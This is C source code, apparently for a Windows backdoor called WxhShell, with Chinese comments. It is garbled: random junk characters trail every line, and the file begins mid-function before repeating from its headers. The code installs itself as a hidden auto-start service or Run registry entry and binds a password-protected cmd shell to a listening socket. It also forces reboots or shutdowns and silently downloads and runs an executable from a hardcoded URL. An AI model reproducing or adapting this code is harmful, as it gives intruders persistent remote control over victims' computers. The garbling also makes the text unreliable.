    } ~eA7:dZLb  
  // 关机 g.iiT/b  
  case 'd': { SHIK=&\~-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bd31> %6  
    if(Boot(SHUTDOWN)) j2k,)MHu!x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3K_J"B*7  
    else { ,4)zn6tC  
    closesocket(wsh); Ip|~j} }  
    ExitThread(0); l)4KX{Rz{A  
    } }BzV<8F  
    break; p*8=($j4  
    } 9]xOu Cb  
  // 获取shell &Plc  
  case 's': { P I)lJ\  
    CmdShell(wsh); DrC4oxS 1  
    closesocket(wsh); Nw/4z$].J  
    ExitThread(0); 1\$xq9  
    break; ~Yb5F YE  
  } LeF Z%y)F  
  // 退出 l*e*jA_>:7  
  case 'x': { t ux/@}I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }} J?, >g  
    CloseIt(wsh); %}J[EV  
    break; bLhTgss](  
    } ~+/IzckrG  
  // 离开 [sy~i{Bm  
  case 'q': { AVF(YD<U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W_Z%CBjcT  
    closesocket(wsh); K7 -AVMY  
    WSACleanup(); w/IYQC\v  
    exit(1); bqWo*>l  
    break; wDVKp['  
        } I} q2)@  
  } c>6dlWTqX  
  } ?\"GT]5D  
aY@]mMz\  
  // 提示信息 ]bLI!2Kr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o^&u?F9  
} UyTsUkY  
  } HkVnTC  
BiT #bg  
  return; O2g9<H   
} SR!EQ<  
r'/&{?Je/  
// shell模块句柄 dWqKt0uh!  
int CmdShell(SOCKET sock) !}[}YY?',i  
{ Y3=5J\d!a  
STARTUPINFO si; [ R  
ZeroMemory(&si,sizeof(si)); "\cDSiD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %A64AJZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T$rhz)_q  
PROCESS_INFORMATION ProcessInfo; )eIC5>#.  
char cmdline[]="cmd"; : fMQ,S0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _N)/X|=~s  
  return 0; @+Y ql  
}  bi/ AQ^  
])OrSsV}  
// 自身启动模式 u_H=Xm)9  
int StartFromService(void) !ij R  
{ W>TG!R 5  
typedef struct VaP9&tWXj  
{ niC ; WK  
  DWORD ExitStatus; 6<1 2j7  
  DWORD PebBaseAddress; #O 2g]YH  
  DWORD AffinityMask; 2iM]t&^<+  
  DWORD BasePriority; " GRR,7A  
  ULONG UniqueProcessId; wN NXUW  
  ULONG InheritedFromUniqueProcessId; c"KN;9c,  
}   PROCESS_BASIC_INFORMATION; {=K);z  
=z >d GIT1  
PROCNTQSIP NtQueryInformationProcess; +pUG6.j%  
'3<T~t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n8 UG{. =  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .`p,pt;  
(A(j.[4a  
  HANDLE             hProcess; yz}ik^T  
  PROCESS_BASIC_INFORMATION pbi; B(|*u  
S)LvYOOB@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .*}!XKp0j  
  if(NULL == hInst ) return 0; hgg 8r#4q  
B]2m(0Y>>v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i+qt L3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0<i8 ;2KD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @7HHi~1JK  
k3(q!~a:.}  
  if (!NtQueryInformationProcess) return 0; |N5r_V  
niA>afo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -kF8ZF  
  if(!hProcess) return 0; 3</W}]$)p  
^[x6p}$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6Y`rQ/F  
d`gKF  
  CloseHandle(hProcess); _C@A>]GT  
r01u3!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uG7?:) pxv  
if(hProcess==NULL) return 0; YsO3( HS  
mzf~qV^T  
HMODULE hMod; F/SYmNp  
char procName[255]; )%q!XM  
unsigned long cbNeeded; M!YGv   
l{I.l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4A`U [r_>D  
mxnu\@}(  
  CloseHandle(hProcess); oeYUsnsbi  
D\^mh{q(  
if(strstr(procName,"services")) return 1; // 以服务启动 .],:pL9d  
1B#iJZ}  
  return 0; // 注册表启动 DHg)]FQ/  
} 8e5imei  
82)%`$yZw[  
// 主模块 x) jc  
int StartWxhshell(LPSTR lpCmdLine) C2CR#b=)i  
{ +~>cAWZq_  
  SOCKET wsl; NQxx_3*4O  
BOOL val=TRUE; e ?7y$H-  
  int port=0; eZ]>;5  
  struct sockaddr_in door; Yl&bv#[z  
shD4";8*@  
  if(wscfg.ws_autoins) Install(); xS4?M<|L63  
4T6: C?V  
port=atoi(lpCmdLine); bE,#,  
P~#LbUP(  
if(port<=0) port=wscfg.ws_port; #kk5{*`  
-_xTs(;|8  
  WSADATA data; 6?ky~CV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9?q ^yy  
DUSQh+C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U ;A,W$<9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #eF,* d  
  door.sin_family = AF_INET; ]s0GAp"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zt& 7p  
  door.sin_port = htons(port); `z`=!1  
SKF0p))BJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JqUft=p5  
closesocket(wsl); nq,:UYNJ  
return 1; e7y,zcbv  
} f9OY> |a9  
i%GiWanG  
  if(listen(wsl,2) == INVALID_SOCKET) { Lf:#koaC  
closesocket(wsl); O6vHo3k  
return 1; ~# \{'<  
} <00nu'Ex1v  
  Wxhshell(wsl); TV|Z$,6l  
  WSACleanup(); _>a`dp.19  
b'C#]DorE  
return 0; 2I3H?Lrx!m  
lD'^6  
} ^?_MIS`4N  
qo}yEl1  
// 以NT服务方式启动 {H>Tv,v|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mN l[D  
{ 2kOaKH[(q  
DWORD   status = 0; P^ht$)Y  
  DWORD   specificError = 0xfffffff; >sdF:(JV&  
x[fp7*TiG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %__ @G_M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y O|hwhe_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &> _aY #  
  serviceStatus.dwWin32ExitCode     = 0; fT{jD_Q+3  
  serviceStatus.dwServiceSpecificExitCode = 0; 'SXLnoeTa  
  serviceStatus.dwCheckPoint       = 0; "$b{EYq6  
  serviceStatus.dwWaitHint       = 0; dKP| TRd  
3sRI 7g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3DxgfP%n  
  if (hServiceStatusHandle==0) return; 's5H_ah  
aK(e%Ed t"  
status = GetLastError(); 9':Hh'  
  if (status!=NO_ERROR) l: kW|  
{ zlB[Eg^X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I*f@M}  
    serviceStatus.dwCheckPoint       = 0; ,Y#f0  
    serviceStatus.dwWaitHint       = 0; Pf;RJeD  
    serviceStatus.dwWin32ExitCode     = status; vR pO0qG  
    serviceStatus.dwServiceSpecificExitCode = specificError; >s!k"s,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~]Av$S  
    return; J0YNzC4  
  } ~OLyG$JJ  
R&:Qy7"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IGo5b-ds  
  serviceStatus.dwCheckPoint       = 0; KNN$+[_;H4  
  serviceStatus.dwWaitHint       = 0; 9 &Ry51  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t?b@l<, s  
} ![eY%2;<  
iA`.y9'2  
// 处理NT服务事件,比如:启动、停止 t\PSB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +QOK]NJN  
{ sk_xQo#Y 3  
switch(fdwControl) =s*4y$%I  
{ UZ6y3%G3^  
case SERVICE_CONTROL_STOP: [jxh$}?P  
  serviceStatus.dwWin32ExitCode = 0; 0bD\`Jiv,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;>fM?ae5  
  serviceStatus.dwCheckPoint   = 0; % .ss  
  serviceStatus.dwWaitHint     = 0; |oePB<N  
  { ^; }Y ZBy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q~n%c7  
  } )nq(XM7  
  return; H(O|y2   
case SERVICE_CONTROL_PAUSE: d DAl n+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JuOCOl\  
  break; Z.rhM[*+0C  
case SERVICE_CONTROL_CONTINUE: -a"b:Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <xrya _R?  
  break; (yeWArQ  
case SERVICE_CONTROL_INTERROGATE: 7osHKO<?2  
  break; l<(jm{q?u  
}; OB^j b8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PCa0I^d  
} b `}hw"f  
Bt1v7M  
// 标准应用程序主函数 !9.\A:G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F}@]Lq+  
{ 0HQTe>!  
F7]8*[u  
// 获取操作系统版本 9[ o$/x}  
OsIsNt=GetOsVer(); jfam/LL{V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9%0^fhrJ  
hM=X# ;  
  // 从命令行安装 }^b  
  if(strpbrk(lpCmdLine,"iI")) Install(); u?>8`]r  
SP>&+5AydX  
  // 下载执行文件 C}pQFL{B5  
if(wscfg.ws_downexe) { :2XX~|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g&8-X?^Q  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZXIz.GFy+  
} /#q6.du  
^V]IPGV  
if(!OsIsNt) { vfc,{F=Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 LW9F%?e!>  
HideProc(); $U)nrn i  
StartWxhshell(lpCmdLine); i.KRw6  
} )M"xCO3a  
else x0%@u^BF  
  if(StartFromService()) /*GCuc|  
  // 以服务方式启动 `joyHKZI.  
  StartServiceCtrlDispatcher(DispatchTable); a6;5mx  
else UA*Kuad  
  // 普通方式启动 I\Cg-&e  
  StartWxhshell(lpCmdLine); ;0uiO.  
a(G}<  
return 0; wLvM<p7OX  
} !\^W*nQ>l  
0JqvV  
gg Nvm  
d'b9.ki\  
=========================================== 2R;#XmKS  
PSyUC#;  
vkeZ!klYB  
7" )~JBH  
E Q:6R|L  
yW"[}L h4  
" j[dgY1yE:  
Yvu?M8aK!  
#include <stdio.h> <|w(Sn  
#include <string.h> &)_ z!  
#include <windows.h> 6` Aw!&{  
#include <winsock2.h> Z'|k M!  
#include <winsvc.h> }XqC'z  
#include <urlmon.h> J@#rOOu  
wrsr U  
#pragma comment (lib, "Ws2_32.lib") P>03 DkbB  
#pragma comment (lib, "urlmon.lib") @Y}G,i  
z*9 ke  
#define MAX_USER   100 // 最大客户端连接数 m1xR uj]  
#define BUF_SOCK   200 // sock buffer 5 Yww,s  
#define KEY_BUFF   255 // 输入 buffer ^MG"n7)X  
0sB[]E|7[s  
#define REBOOT     0   // 重启 @ rF|WT  
#define SHUTDOWN   1   // 关机 b/ h#{'  
[khXAf1{Q  
#define DEF_PORT   5000 // 监听端口 q1m{G1W n  
K_!:oe7%  
#define REG_LEN     16   // 注册表键长度 !0F+qzGG7  
#define SVC_LEN     80   // NT服务名长度 G&"O)$h  
p./0N.  
// 从dll定义API pbw{EzM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '}"&JO~vPj  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .N`*jT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  'S:$4j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c]/S<w<  
ydAiH*>  
// wxhshell配置信息 DgY !)cS  
struct WSCFG { q%dbx:y#  
  int ws_port;         // 监听端口 u(\O@5a  
  char ws_passstr[REG_LEN]; // 口令 $g/h=w@  
  int ws_autoins;       // 安装标记, 1=yes 0=no sRqecG(n  
  char ws_regname[REG_LEN]; // 注册表键名 ZDov2W  
  char ws_svcname[REG_LEN]; // 服务名 U.JE \/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -:OJX#j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o$rF-?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^)(tO$S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [^^Pl:+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (OA4H1DL^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q alrG2  
0%4OmLBT  
}; beSU[  
ga(k2Q;y  
// default Wxhshell configuration ;47z.i&T  
struct WSCFG wscfg={DEF_PORT, Ps{vN ~}  
    "xuhuanlingzhe", wm_rU]  
    1, 1:>F{g  
    "Wxhshell", 5;,h8vW  
    "Wxhshell", P,9Pn)M|  
            "WxhShell Service", QodWUbi'&  
    "Wrsky Windows CmdShell Service", ,>8w|951'  
    "Please Input Your Password: ", L"n)fe$  
  1, 1<5Ug8q  
  "http://www.wrsky.com/wxhshell.exe", C,GZ  
  "Wxhshell.exe" I~&9c/&  
    }; ~QDM .5  
0U H]  
// 消息定义模块 KROD(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; py+\e" s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 nFOV Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - l^3>!MAM  
char *msg_ws_ext="\n\rExit."; l;L_A@B<  
char *msg_ws_end="\n\rQuit."; akU2ToP  
char *msg_ws_boot="\n\rReboot..."; ??U/Qi180  
char *msg_ws_poff="\n\rShutdown..."; Wpi35JrC  
char *msg_ws_down="\n\rSave to "; &i.sSqSI5  
@un+y9m[C  
char *msg_ws_err="\n\rErr!"; <aDZ{T%  
char *msg_ws_ok="\n\rOK!"; x5mg<y2`Ng  
WmN( (  
char ExeFile[MAX_PATH]; /XEW]/4  
int nUser = 0; ovBmo2W/  
HANDLE handles[MAX_USER]; ;R[3nb9%  
int OsIsNt; +yHz7^6-5  
]z/R?SM  
SERVICE_STATUS       serviceStatus; #j=yQrJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pDSNI2  
!hhL",  
// 函数声明 y!.jpF'uI  
int Install(void); OTdijQLY  
int Uninstall(void); n2hV}t9O  
int DownloadFile(char *sURL, SOCKET wsh); dK4rrO  
int Boot(int flag);  7-!n-  
void HideProc(void); c$%*p (zY  
int GetOsVer(void); _gI1rXI  
int Wxhshell(SOCKET wsl); +8T^q,  
void TalkWithClient(void *cs); ,1$F #Eh  
int CmdShell(SOCKET sock); ow.!4kx{d  
int StartFromService(void); Cl]?qH*:  
int StartWxhshell(LPSTR lpCmdLine); Xa?O)Bq.  
5;UIz@BJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A>1$?A8Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); dkZe.pv$j  
dQ.#8o=  
// 数据结构和表定义 &|~7`  
SERVICE_TABLE_ENTRY DispatchTable[] = ]f0'YLG  
{ K+F"VW*?  
{wscfg.ws_svcname, NTServiceMain}, ]A'{DKR  
{NULL, NULL} ?<TJ}("/  
}; 2!Dz9m3  
8b)WOr6n  
// 自我安装 7GYf#} N  
int Install(void) uK2HtRY1  
{ >8>!wi9U  
  char svExeFile[MAX_PATH]; |'nQvn:{  
  HKEY key; 3I_^F&T  
  strcpy(svExeFile,ExeFile); bOFzq>k_  
?K>)bA&l'  
// 如果是win9x系统,修改注册表设为自启动 m-vn5OX  
if(!OsIsNt) { i}sAF/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 10Ik_L='  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3R+% C*7  
  RegCloseKey(key); L7-BuW}&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P0,]`w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I)Xf4F S@  
  RegCloseKey(key);  Sfz1p  
  return 0; o utJ/~9;  
    } ,Vhve'=*2  
  } &q-&%~E@  
} Lt't   
else { rx1u*L  
b&:v6#i  
// 如果是NT以上系统,安装为系统服务 SIJ7Y{\.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Rql/@j`JX  
if (schSCManager!=0) $r/$aq=K  
{ g"m' C6;  
  SC_HANDLE schService = CreateService yV(#z2|  
  ( 9Da{|FyrD  
  schSCManager, 0K%okq|n  
  wscfg.ws_svcname, k83K2> ]  
  wscfg.ws_svcdisp, -tj#BEC[H(  
  SERVICE_ALL_ACCESS, )@NFV*@I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nqj(V  
  SERVICE_AUTO_START, 2/&=:,"t,B  
  SERVICE_ERROR_NORMAL, >G6kF!V  
  svExeFile, D&%8JL  
  NULL, ^k=<+*9  
  NULL, kpgA2u7  
  NULL, 23gN;eD+m6  
  NULL, qVC+q8  
  NULL ys9:";X;}  
  ); dk|LC-]`A  
  if (schService!=0) {r_HcI(h  
  { Nk7y2[  
  CloseServiceHandle(schService); $6rm;UH  
  CloseServiceHandle(schSCManager); |?T=4~b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jJ#D`iog5  
  strcat(svExeFile,wscfg.ws_svcname); "ko*-FrQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0/R;g~q@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^ Ps!  
  RegCloseKey(key); tbS hSbj  
  return 0; xt^1,V4Ei~  
    } u7< +)6-  
  } ;'S,JGpvT  
  CloseServiceHandle(schSCManager); }~ D WB"  
} *yhA8fJ  
} w}3N!jNDv  
Cbff:IP  
return 1; aopPv&jY  
} t "VT['8  
h4` 8C]  
// 自我卸载 [7I:Dm  
int Uninstall(void) qO>UN[Y  
{ )\1>)BJq  
  HKEY key; k{qxsNM  
a=MN:s?Fc0  
if(!OsIsNt) { Hu|Tj<S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4S26TgY  
  RegDeleteValue(key,wscfg.ws_regname); UR'[?  
  RegCloseKey(key); * :L"#20:R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rI$NNk'A  
  RegDeleteValue(key,wscfg.ws_regname); x=DxD&I!J  
  RegCloseKey(key); ~5P9^`KNH  
  return 0; U"Gx Xrl  
  } g{N}]_%Uh  
} ?}?"m:=  
} Ow;thNN  
else { _[6sr7H!  
s@Q7F{z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .YF1H<gwa  
if (schSCManager!=0) rUKg<]&@  
{ \TP$2i%W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sQgz}0_= )  
  if (schService!=0) 2^'Ec:|f  
  { beO Mln+R  
  if(DeleteService(schService)!=0) { HT.,BF  
  CloseServiceHandle(schService); og";mC  
  CloseServiceHandle(schSCManager); T,!EL +o4  
  return 0; #zsaQg, B  
  } yr%[IX]R  
  CloseServiceHandle(schService); qx#M6\L!  
  } DdR0u0JH0  
  CloseServiceHandle(schSCManager); 0Md>-H;ZY  
} ,b5'<3\  
} ?s2-iuMPd  
v]SxZLa  
return 1; $`lWW6>P  
} Ck/44Wfej  
1m5l((d  
// 从指定url下载文件 {F<0e^*  
int DownloadFile(char *sURL, SOCKET wsh) Tx} Nr^   
{ =2$ ( tXL  
  HRESULT hr; LuySa2 ,  
char seps[]= "/"; a#]V|1*O  
char *token; |3~m8v2-  
char *file; IR${a)  
char myURL[MAX_PATH]; "6d0j)YO  
char myFILE[MAX_PATH]; LcGKYl(\K  
XR..DVab  
strcpy(myURL,sURL); xn`)I>v  
  token=strtok(myURL,seps); bll[E}E|3  
  while(token!=NULL) K+)3 LR^  
  { 3t<a3"{9  
    file=token; 6:(s8e  
  token=strtok(NULL,seps); ''auu4vF  
  } tMw65Xei6b  
c!E{fSP  
GetCurrentDirectory(MAX_PATH,myFILE); tU?BR<q  
strcat(myFILE, "\\"); vb[0H{TT2  
strcat(myFILE, file); v]M:HzP  
  send(wsh,myFILE,strlen(myFILE),0); y#a,d||N1  
send(wsh,"...",3,0); vD8pVR+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '1D $ ;  
  if(hr==S_OK) &.E/%pQ`  
return 0; *+*W# de.  
else B& @ pZYl  
return 1; }K?b2 6`  
 D_dv8  
} e.vt"eRB  
<%YW/k"o  
// 系统电源模块 sgO au\E  
int Boot(int flag) f$FO 1B)  
{ ^ ##j {h7  
  HANDLE hToken; {> ,M  
  TOKEN_PRIVILEGES tkp; _]@u)$  
[\3ZMH *  
  if(OsIsNt) { QcrhgR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qh.F}9o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \i+AMduAo  
    tkp.PrivilegeCount = 1; ng/h6 S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J.R]) &CB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bVz<8b6h'-  
if(flag==REBOOT) { dDA8IW![S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :4AIYk=q  
  return 0;  p0W<K  
} VHPqEaR  
else { /ckk qk"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g$NUu  
  return 0; !D F~]&  
} %~:\f#6  
  } R +@|#!  
  else { [;Ih I  
if(flag==REBOOT) { |$ ^3 5F  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rrz([2E2  
  return 0; %Mj,\J!  
} CKH mJ]=  
else { i#4+l$q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5wW5 n5YS  
  return 0; H ~3.F  
} 4L:O0Ggz}  
} $gnrd~v4e  
~]?s A{  
return 1; -BP10-V  
} k9oi8G'g~  
c*B< - l<5  
// win9x进程隐藏模块 q)9n%- YgP  
void HideProc(void) Io*H}$Gf  
{ sN8pwRjb  
@]IRB1X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {St-  
  if ( hKernel != NULL ) |pS]zD  
  { 9]Ue%%vM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pYzop4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); im9 w|P5  
    FreeLibrary(hKernel); QY4;qA  
  } 7b08Lo7b  
3#$X  
return; uvJHkAi  
} }wRm ~  
M.,DXEZT  
// 获取操作系统版本 EPn!6W5^  
int GetOsVer(void) hFm^Fy[R  
{ y+k^CT/u  
  OSVERSIONINFO winfo; ,x1OQ jtY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n= 4  
  GetVersionEx(&winfo); 0ZwXuq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~n@rX=Y)]0  
  return 1; n_; s2,2r  
  else *]HnFP  
  return 0; Lhp&RGy  
} x5MS#c!7  
O6/ vFEB  
// 客户端句柄模块 6d/Q"As  
int Wxhshell(SOCKET wsl) O<Q8%Az  
{ w>9d^kU'  
  SOCKET wsh; XxMZU(5  
  struct sockaddr_in client; :,JjN&  
  DWORD myID; ~Z/,o)  
9MfU{4:;I  
  while(nUser<MAX_USER) jr0j0$BF  
{ 2Q%7J3I  
  int nSize=sizeof(client); Ws|`E `6O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }NyQ<,+mq&  
  if(wsh==INVALID_SOCKET) return 1; DqQ p47kp  
2kDY+AN;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,.0bE 9\o  
if(handles[nUser]==0) CR'%=N04^  
  closesocket(wsh); qJ`:$U  
else ':;k<(<-  
  nUser++; wjl)yo$z  
  } ciODTq?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pml33^*<U  
2H4vK]]Nl  
  return 0; V($V8P/  
} ="YGR:  
lh'S_p8g  
// 关闭 socket LE<J<~2Z  
void CloseIt(SOCKET wsh) r~)fAb?  
{ :K^J bQ  
closesocket(wsh); dWQsC|  
nUser--; B ktRA  
ExitThread(0); p}JOiiHa  
} m4@NW*G{  
[ -$ Do  
// 客户端请求句柄 t([}a ~1}  
void TalkWithClient(void *cs) &;-zy%#l  
{ To>,8E+GAb  
* $f`ouJl  
  SOCKET wsh=(SOCKET)cs; i$E [@  
  char pwd[SVC_LEN];  eo9/  
  char cmd[KEY_BUFF]; wv3,% lN  
char chr[1]; r+Ki`HD%  
int i,j; pc*)^S  
O,B\|pd2  
  while (nUser < MAX_USER) { nFn!6,>E  
NV4g5)D&L  
if(wscfg.ws_passstr) { pjFO0h_Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^MvuFA ,C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iwJ_~   
  //ZeroMemory(pwd,KEY_BUFF); D|9+:Y  
      i=0; n6% `  
  while(i<SVC_LEN) { C")genMH  
3{3@>8{w  
  // 设置超时 E7A!,A&>  
  fd_set FdRead; d5m -f/  
  struct timeval TimeOut; Ax=HDW}  
  FD_ZERO(&FdRead); tON>wmN  
  FD_SET(wsh,&FdRead); )SmnLvL  
  TimeOut.tv_sec=8; lDYgt UKG  
  TimeOut.tv_usec=0; GF ux?8A:%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yc](  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nzflUR{`-  
5Ml=<^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EG>?>K_D  
  pwd=chr[0]; }sXTZX  
  if(chr[0]==0xd || chr[0]==0xa) { f4f2xe7\Q  
  pwd=0; |ri)-Bk ,  
  break; q?(] Y*  
  } jn2=)KBa_  
  i++; !&VfOx:PN  
    } v=N?(6T  
<>3)S`C`p  
  // 如果是非法用户,关闭 socket )Z/"P\qo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T`EV uRJ  
} I'uwJy_I\  
)dT@0Ys%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rpT.n-H>%A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bx3Q$|M?  
9|+6@6VY!  
while(1) { "}]$ag!`q$  
jo`ZuN{  
  ZeroMemory(cmd,KEY_BUFF); kU<t~+  
ukWn@q*  
      // 自动支持客户端 telnet标准   ,>  zEG  
  j=0; sl]< A[jR  
  while(j<KEY_BUFF) { 4V,.Oi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0xB2  
  cmd[j]=chr[0]; R?xb1yc7_  
  if(chr[0]==0xa || chr[0]==0xd) { _[2@2q0  
  cmd[j]=0; x e`^)2z  
  break; W: ]FYC  
  } JVE\{ e)  
  j++; iod%YjZu  
    } 9njl,Q:  
H9cPtP~a)  
  // 下载文件 m@4Dz|  
  if(strstr(cmd,"http://")) { \|;\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  7GgZ: $d  
  if(DownloadFile(cmd,wsh)) *pKTJP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gYKz,$  
  else C 0w+ j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "s+4!,k  
  } ,lyW'<~gA  
